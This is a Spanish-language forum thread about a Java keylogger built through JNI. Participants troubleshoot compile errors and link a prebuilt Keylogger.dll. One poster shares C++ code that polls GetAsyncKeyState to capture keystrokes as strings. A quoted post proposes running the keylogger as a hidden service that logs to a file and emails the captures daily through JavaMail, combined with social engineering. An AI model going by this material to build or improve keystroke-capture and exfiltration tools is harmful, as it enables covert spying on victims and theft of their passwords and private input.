[Tutorial] Keylogger en Java (JNI)

Iniciado por Leyer, 24 Noviembre 2009, 02:27 AM

0 Miembros y 2 Visitantes están viendo este tema.

highfredo

#10
donde consigo el  -jni.h y el jni_md.h??
edit:
solucionado

____
aprobecho para poner otro inconveniente...

al ejecutarlo me dice que no tiene main, pero... ¿que tendria que poner en el main??

codigo del error si pongo un main
Exception in thread "Thread-0" java.lang.UnsatisfiedLinkError: keylog$Keylogger.get()C
   at keylog$Keylogger.get(Native Method)
   at keylog$Keylogger.run(keylog.java:33)

este es el main
    public static void main(String[] args) {

     
      Keylogger Hilo= new Keylogger();
     
      Hilo.start();
     
//y por aqui tu code

   }



Leyer

En el main solo has de crear la instancia he iniciar con start(); y donde dices en el comentario que hay va el code haslo mejor separado, es decir el main aparte y el keylogger otra clase, o seguramente creaste mal la lib ya que te compila pero en si puede estar mal generada y no lo sabes ,asi que verifica que copiaste bien el code de la cabecera .h

Un Saludo.

highfredo

nada, que no va :(
salta el mismo error, y he vuelto a compilarlo todo desde 0

puede ser porque el eclipse no me deje trabajar con .java si no estan en packages??



Leyer

#13
Copia el contenido del Keylogger.cpp nuevamente, es que le habia dejado una variables initilizadas.

Esta es la dll generada

Keylogger.dll
http://www.mediafire.com/?e03u9r0emaerf9g

Un Saludo.

danielo-

 :o buen aporte! esta genial.. pero una duda... por que no retornar JStrings en vez de JChars?? asi ya se podrían diferenciar entre tecla [ctrl] [shift] y demás?.. Aunque bueno, creo q eso ya es idea de cada quien. :)
Saludos!

Leyer

Cita de: danyelk_6u5 en 21 Junio 2010, 18:27 PM
:o buen aporte! esta genial.. pero una duda... por que no retornar JStrings en vez de JChars?? asi ya se podrían diferenciar entre tecla [ctrl] [shift] y demás?.. Aunque bueno, creo q eso ya es idea de cada quien. :)
Saludos!

Cierto, lo que paso fue que no sabia mucho de JNI en ese entonces :xD, y asi se quedo, pero lo importante es que logre la base, ya la modificaciones depende de cada quien

danielo-

Cita de: LEYER en 21 Junio 2010, 23:06 PM
Cita de: danyelk_6u5 en 21 Junio 2010, 18:27 PM
:o buen aporte! esta genial.. pero una duda... por que no retornar JStrings en vez de JChars?? asi ya se podrían diferenciar entre tecla [ctrl] [shift] y demás?.. Aunque bueno, creo q eso ya es idea de cada quien. :)
Saludos!

Cierto, lo que paso fue que no sabia mucho de JNI en ese entonces :xD, y asi se quedo, pero lo importante es que logre la base, ya la modificaciones depende de cada quien

Bueno, un granito de arena para los que le interese, la manera para devolver un JString es:
Código (cpp) [Seleccionar]

if (GetAsyncKeyState('A') == -32767){ return env->NewStringUTF("a");}
   if (GetAsyncKeyState('B') == -32767){return env->NewStringUTF("b");}
   if (GetAsyncKeyState('C') == -32767){return env->NewStringUTF("c");}
//...etc, etc.
//y todo lo demás es lo mismo :)
//Aunque tendrían que cambiarle el tipo de retorno del metodo,
//poner jstring en vez de jchar,  quedando así:
JNIEXPORT jstring JNICALL Java_Keylogger_getString(JNIEnv * env, jobject obj){
// y obviamente en la clase java igual hay que cambiar una linea de códico
private native  String getString();


Hay otras formas de hacerlo, pero esta me pareció la mas sencilla de aprender :) ...

egyware

Cita de: osrieldei en  9 Junio 2010, 07:00 AM
man un favor cuando hago el compilado de proyecto en c  me sale estos errores
In function 'jchar Java_Keylogger_get(JNIEnv", _jobject")';
[Warning] passing NULL used for non-pointer converting 2 of 'BOOL ShowWindow(HWND__",int)'
[Linker error] undefined reference to 'WinMain@16'
Id returned 1 exit status
[Linker error] undefined reference to 'WinMain@16'
Debes recompilar para crear una "biblioteca dinamica(dll)" no un programa por eso te pide el main.

Saludos

estebanvr

Cita de: cooljsh en 26 Marzo 2010, 15:12 PM
olap, una consulta, para que tu keylogger sea mas "productivo" xD   no seria mejor ponerlo como servicio (con el wrapper x ejemplo) y en lugar de escribir en consola guardarlo en un archivo de texto, y que diariamente envie a un correo ya establecidoa traves de javaMail x ejemplo  :)  y con un poco de ingenieria social ... xD  . supongo k tenias eso en mente pero no lo colocaste por etica ... igual supongo k mi idea no fue la primera ni sera la ultima U_U

lo k si estoy un poco en duda, es si lo que hiciste no seria mejor con JNA ??  simplemente el trabajo seria ubicar la DLL del api de windows que captura los eventos del teclado, el problema es cual ???   alguien sabe ??   en lo personal me parece mas facil y transparente usar JNA ....   

de todas maneras se agradece el aporte  :)

Si el API para esa funcion se llama int GetAsyncKeyState(int vkey)
y esta en la dll llamada user32.dll

‭‭‭‭jackl007

Excelenteeee!!!! ;-) ;-)
felicidades, me ha sorprendido la tecnica de usar JAVA Y C++ para el proposito!